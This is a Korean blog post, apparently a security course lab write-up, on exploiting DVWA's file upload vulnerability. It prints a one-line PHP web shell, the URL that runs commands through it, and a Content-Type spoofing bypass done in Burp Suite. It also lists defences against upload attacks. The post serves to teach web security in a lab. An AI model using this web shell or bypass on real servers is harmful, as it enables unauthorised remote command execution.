yon11b

[SK 쉴더스 루키즈] [DVWA] 파일 업로드 취약점 실습 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] [DVWA] 파일 업로드 취약점 실습

yon11b 2026. 5. 1. 00:31
반응형

보안 설정 오류 취약점

보안 설정 오류 취약점에는 업로드 취약점이 있다.

파일 업로드 취약점은 주로 웹쉘을 업로드하여 증명한다.

 

 

실습1: DVWA 환경에서 웹쉘을 업로드해보자!

실습환경: Kali, Metasploitable, Beebox

 

DVWA는 Metasploitable에서 제공하는 웹 취약점 실습용 웹 애플리케이션이다.

DVWA: Damn Vulnerable Web Application

 

 

VMware에서 metasplotable을 실행시키고 ip를 알아낸다.

 

그 ip로 접속하면 다음과 같은 화면이 뜬다. 여기서 DVWA를 선택해주자.

 

1. low level 풀이

1. level을 low로 설정하고 Upload 문제 탭으로 들어간다.

2. 그리고 다음의 웹쉘 파일을 업로드한다.

 

3. 그럼 성공적으로 파일이 업로드되었다면서 경로를 알려준다.

사실 이건 다른 문제 푼 화면이라 webshell2.php 아니고 여기서는 wenshell2.php을 업로드 했었다..

 

그 경로로 접속하면 

성공적으로 서버에 접속을 해버렸다!

 

흐름 정리

1. webshell3.php 파일을 다음과 같이 생성

<?php system($_GET['cmd']); ?>

 

2. File Upload 페이지에서 업로드 수행

 

3. 업로드 위치 파악:

http://192.168.246.129/dvwa/vulnerabilities/upload/../../hackable/uploads/

 

4. 해당위치의 php 코드 실행

http://192.168.246.129/dvwa/hackable/uploads/wenshell2.php?cmd=ls

 

 

2. medium level 풀이

이번에는 똑같이 웹쉘 업로드하려고 하면 막는다.

내 파일의 어떤 부분을 보고 막는걸까?

 

웹쉘 업로드 취약점 방어

1. 파일 확장자 화이트리스트

2. MIME 타입 검사

3. 파일 이름 랜덤화

4. 웹 루트 밖에 저장

5. 파일 크기 제한

6. 권한 최소화

등등....

 

우리는 2번을 해 볼 것이다.

1. burp suite를 켜놓고 intercetp를 걸어놓은 채로 file을 upload한다.

2. Content-Type: application/x-php인 부분을 image/jpeg로 바꿔 속여준다.

3. Forward 해준다.

content-type이 두 개 있는데 php인 것을 수정해 줘야 한다.

 

그럼 이렇게 성공적으로 우회하여 업로드를 할 수 있다!

 

 

번외: Weevely

weevely는 웹쉘인지 모르게 하려고 webshell을 난독화해서 준다.

 

 

 

 

 

 

 

 

728x90